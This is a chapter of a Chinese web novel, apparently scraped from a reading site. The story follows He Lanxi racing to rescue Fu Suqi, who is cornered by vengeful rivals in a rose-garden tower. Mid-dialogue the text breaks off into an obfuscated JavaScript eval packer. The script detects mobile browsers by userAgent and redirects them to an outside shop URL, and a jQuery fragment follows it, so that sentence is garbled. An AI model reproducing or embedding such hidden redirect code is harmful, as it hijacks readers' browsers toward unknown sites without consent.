默认冷灰
24号文字
方正启体

38.夜色之下是更美的艳色

作者:动梨本书字数:K更新时间:
    贺兰烯、罗博,乔理理和翟辞刚从数据矩阵中抽身,正走向食堂。


    突然,呜——


    凄厉的警报声,由远及近撞在研究所的强化玻璃幕墙上。


    四人动作瞬间定格。


    视线穿透视窗,只见研究所森严的闸门外,两名装备着护甲的警卫,正以标准的拦截姿态,试图阻挡一个正不顾一切向内冲击的纤细身影。


    “施雅?”乔理理的声音带着一丝不确定的惊愕。


    贺兰烯周身的气息变了,前一秒讨论晚餐的松散感瞬间蒸发,她甚至没有给同伴一个眼神,身体已化作一道模糊的残影,直扑闸门方向。


    罗博只觉身侧气流被瞬间抽离。


    贺兰烯的身影已掠过门禁识别区,无视警卫程序化的阻拦手势,停在施雅面前。


    施雅的脸是失血的灰白,细密的冷汗浸透了额发,粘在颤抖的皮肤上。


    她呼吸破碎,胸口剧烈起伏。看到贺兰烯,如同濒死者抓住了最后一根浮木,汗湿的手指猛地攫住了贺兰烯还停留在门内安全区的那只手腕。


    “走,快走!”施雅拽着贺兰烯就要向外冲,“没时间了,我知道……只有你…只能是你,我只能找你。”


    贺兰烯任由那只手扣着自己的腕骨,身体却像焊死在原地。她没有挣脱,只是微微垂下了眼睑,目光落在施雅因过度用力而扭曲的指关节上。


    再抬眼时,那双惯常沉静温和的眸子,此刻却透着一股极具压迫感的危险。


    “除了你…”贺兰烯开口,“和那个囚徒塞恩,反骨还有哪双眼睛,认得我这张脸?”


    施雅紧攥的手指松开了一瞬,她的眼神仓皇躲闪,汗珠沿着太阳穴滚落,急忙奉献自己的真诚:“没…没有了!你我的每一次接触痕迹都抹得干净,赛恩他只认得我的声音,只接受我的指令……”


    她语无伦次地强调着,汗珠越滚越大,“真的,我发誓!”


    贺兰烯随即不再多言。


    她手腕以一个刁钻的角度一拧,瞬间挣脱了施雅的钳制,同时,另一只手解开身上那件象征研究员身份的白色实验服。


    她看也不看,将脱下的实验服径直塞进施雅下意识伸出的臂弯里。


    “你最好祈求他完好无损。”话音未落,她已朝着施雅来时方向狂奔。


    速度超越了视觉捕捉的极限,原地只留下被瞬间卷起的微弱气流漩涡,以及警卫惊愕的面孔和同伴们凝固的视线。


    施雅抱紧了怀里还带着贺兰烯体温的实验服。


    脑子一片混乱,各种念头疯狂冲撞:她怎么就鬼使神差地违背了组织的命令?就像当初,她明知不可为,却还是不得不对赛恩下达了那个“解决贺兰烯”的命令。


    当得知贺兰烯奇迹生还的消息时,那种混杂着恐惧、侥幸和说不清道不明的复杂情绪,几乎将她撕裂。


    组织不会容忍一个强大、还知晓秘密的合作伙伴,这条铁律她比谁都清楚。


    可是……


    若不是贺兰烯的默许,甚至是某种程度的邀请,她当初怎么可能悄无声息地避开层层监控,溜进贺兰家找到她?


    上一次,在贺兰烯的房间里,她最后一次向她抛出橄榄枝,试图将她彻底拉入组织,而贺兰烯拒绝得没有一丝犹豫,坚定的让她感到害怕。


    那一刻,施雅就知道,有些路,走到头了。


    所以,当组织最新的、关于“清除不稳定因素”的命令下达时,她慢慢吞吞最终选择了背叛。


    她们的合作,本始于一场冰冷的交易。


    贺兰烯利用反骨组织的力量,伪造了一个天衣无缝的干净可怜背景,得以顺利进入珀尔西洲。


    而当时,西洲正在追捕赛恩。


    而这场追捕,又阴差阳错地吸引了途经此地的霍司夜,一切后续的发展,如同被精心拨动的多米诺骨牌,水到渠成。


    作为回报,施雅得到了贺兰烯在完成那个神秘试炼后,授发的珀尔大学校董会书写的推荐信。


    正是这封信,让她有惊无险地踏入了珀尔大学的门槛,开启了全新的人生。


    这是她们新的开始。


    这本该是她们共同的新生起点。


    施雅紧紧抱着那件沾染了贺兰烯气息的实验服,布料下是她自己黏腻的汗水,以及胸腔里那颗仍在疯狂擂动的心脏。


    那么,固步自封、只知恐惧和清除的反骨……是不是也该迎来一场翻天覆地的改变了?


    *


    “常在河边走,哪有不湿鞋?”施书的声音在绣色钟楼的顶层回荡。


    月光惨白,将这座精心打造的玫瑰囚笼照得无所遁形。


    “伏苏祈,没想到吧?你也有摔进烂泥沟里的一天。”他踢开脚边一簇碍事的、名为朱砂泪的名贵玫瑰。


    这里本该是衣香鬓影的搏击沙龙,此刻却成了狩猎场。


    空气里,玫瑰甜腻到令人作呕的浓香,汗液的躁动、还有施书话语里不加掩饰的杀意,混合成一种令人窒息的毒气。


    像身处在热带雨林。


    磐石此刻单膝跪在施书身侧,姿态是臣服的,眼神钉在玫瑰园深处:“少主,请允属下与他一战,生死不论!”


    施书嗤笑,像驱赶苍蝇般挥了挥手:“滚开,他的命,他的脸,只有我能踩。”


    “踩?你也配?”阴影里,瑞安踱步而出,脸上是压抑了十数年、终于得以释放的扭曲狂喜。


    瑞安家族在十多年前并不算显赫,他们真得感谢总部对皇室的那么一点似乎若有似无的怜爱与尊重。


    瑞安从十多年前就开始讨厌伏苏祈了。


    恨,恨他的样貌!恨他与生俱来的尊贵!恨他无论何时何地都是目光的焦点!恨他仅仅是“伏苏祈”这个名字所代表的一切!


    恨得每一滴血都在咆哮!


    为了这一刻,他耗尽心血追踪他的行踪,揣摩他的习惯,分析他身边每一个微不足道的人,窥探他可能存在的、哪怕一丝一毫的弱点,这过程如同在地狱油锅里煎熬。


    但此刻,看着伏苏祈落入他精心编织的,插满玫瑰尖刺的罗网,瑞安只觉得所有苦楚都化作了极致的甘泉。


    他猛地爆发出歇斯底里的大笑,笑声在寂静的玫瑰园里疯狂冲撞,震得花瓣簌簌落下。


    “伏苏祈!”瑞安的笑声戛然而止,他一步步向前,每一步都踩碎几朵无刺的玫瑰,“你说,我该怎么招待你?”


    他舔了舔干燥的嘴唇,声音因兴奋而颤抖,“是先把你那对碍眼的骨翼,一根根、一节节、慢、慢、地、捏、碎……”


    他的手在空中做着残忍的抓握动作,“还是把你那张让我很不爽的臭脸——”


    他猛地抬脚,作势欲踩,“狠狠碾进这肮脏的泥里,让它沾满我的鞋印?”


    所有人都目不转睛地望着玫瑰园的核心。


    伏苏祈并非坐着,而是以一种满不在乎的傲慢,斜倚在玫瑰园中唯一那架白色藤编秋千上。


    他的手指随意地捻着一朵开得最盛的“夜皇后”,暗红近黑的花瓣在他的指尖脆弱地舒展。


    浓艳到极致的玫瑰在他身周怒放,红的像血,黑的像夜,白的像骨,这些名贵又柔弱的花,无疑是这栋楼最值得一阅的宝藏。


    而他与它,就是幕布中央那抹能灼伤人眼的、华丽的绝色。


    听到瑞安癫狂的叫嚣,伏苏祈终于微微侧过头。


    那双深邃的眼眸,平静地、带着一丝漫不经心的厌倦,落在瑞安因激动而扭曲变形的脸上。


    他的眼神里没有愤怒,没有恐惧,只有一种居高临下,如同看一件垃圾般的蔑视。


    “你?”伏苏祈终于开口,“你叫…瑞安?”


    瑞安的脸瞬间由红转紫,再由紫转青,奇耻大辱让他浑身筛糠般颤抖起来:“伏苏祈!你装什么蒜?”


    “哦,想起来了。”


    “是那个…瑞安。”他刻意顿了顿,仿佛在品味这个名字带来的劣质感,“私下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16324995|178638||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    里,我们倒是有个更贴切的称呼。”


    瑞安如遭雷击,僵在原地。


    伏苏祈的目光轻飘飘地扫过他,如同扫视一件灰扑扑的展览品:“瑞安,从你开蒙那天起,到去年学院的期末评定……”


    他剜向对方最深的疮疤,“你哪一次,不是靠着家族捐献的特殊关怀,才勉强擦着及格线的边,没被彻底扫地出门?”


    “你挥霍的每一笔信用点,知道它们是怎么来的吗?你,瑞安,知道怎么把它们挣回来吗?哦,你大概是做不到的。”


    “还是不对,你永远做不到。有些人的脑袋里装浆糊,不是因为无可奈何,而是因为装满浆糊才会显得他的脑袋有重量,以为看起来和别人能一样,殊不知这样的脑袋才是最引人发笑的,毕竟一个脑袋两个大,全身上下居然只有这个东西出类拔萃。”


    “什么都要吃,也不看看自己是什么货色,饿死鬼投胎啊?”


    他的视线又转向瑞安身边脸色铁青的施书。


    “还有。”伏苏祈的目光重新落回面无人色的瑞安身上,“你和你身边这位……嗯,玩水枪的先生,是签订了主仆契约吗?”


    他歪头,眼神纯真得近乎恶毒,“看起来,你倒是很擅长扮演败犬的角色。”


    “伏苏祈——我杀了你!”瑞安彻底崩溃,理智的弦彻底崩断,发出野兽般的嘶吼,不顾一切地就要扑上去。


    施书的脸也黑如锅底,牙齿咬得咯咯作响,从齿缝里挤出命令:“动手,废了他!”


    磐石默默递上一副布满尖刺的格斗手套,施书一把抓过,狠狠戴上。


    他身后,一群黑衣手下,齐刷刷举起手中闪烁着幽蓝电弧的高压神经冲击枪:珀尔东洲禁真枪,但这类非致命武器,在近距离下足以摧毁一个人的神经系统。


    施书狂怒地将手中那把荧光绿的塑料水枪狠狠砸向地面。


    “啪嚓!”一声脆响,塑料碎片和清水四溅。


    他尤不解恨,发疯似的用脚反复践踏,昂贵的皮鞋底将碎片碾进昂贵的地毯里,仿佛在疯狂蹂躏伏苏祈那张令他嫉恨到发狂的脸。


    施书和彻底癫狂的瑞安,带着一群枪口,如同嗅到血腥的鬣狗群,带着狰狞的杀意,一步步、重重地踏碎满地玫瑰,朝着花丛深处,秋千上那个依旧用蔑视眼神睥睨他们的身影逼近。


    “伏苏祈,你的傲慢和人生到此为止了!”施书狞笑。


    就在这杀意凝聚到顶点、即将爆发的瞬间——


    “老、老大——!”一个如同破锣般的嘶吼伴随着沉重的撞击声传来。


    一个戴着墨镜、浑身是血和污渍的壮汉,几乎是滚着爬上了顶层露台,头盔不知去向,脸上满是惊骇,“挡……挡不住!下面…下面杀上来个黑长直!兄弟们全、全躺了!跟……跟割麦子一样,她……她上来了!”


    仿佛是为了印证这宣告,通往顶层的紧急备用楼梯口,传来一连串金属结构被扭曲撕裂的呻吟。


    紧接着是沉重□□撞击墙壁的闷响、以及瞬间被掐断的嚎叫,那声音带着摧枯拉朽,碾碎一切的狂暴气势,急速逼近。


    “管她黑长直白长直!”瑞安正处于毁灭的癫狂顶点,对身后逼近的恐怖充耳不闻,眼睛死死盯着伏苏祈,“杀了他!施书,现在,去给我把他的脸踩烂。”他不管不顾地加速冲去。


    施书也厉声嘶吼:“开枪,压制!!”


    然而,一个平静却又仿佛蕴含着嘲弄的女声,如同冻原寒风,瞬间席卷了整个露台,将所有的喧嚣、癫狂,统统冻结成冰:


    “你说——”


    那声音停顿了一瞬。


    “要踩谁的脸?”


    随着一支幽蓝枪支被她踩在脚底,一道纤细纯白的身影,如同之前热带雨林般的潮热,从紧急楼梯口弥漫的烟尘和各种水枪残骸中,缓缓步出。


    月光,毫无保留地,笼罩了她。


    墨发如瀑,长直及腰。


    夜色之下是更美的艳色。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)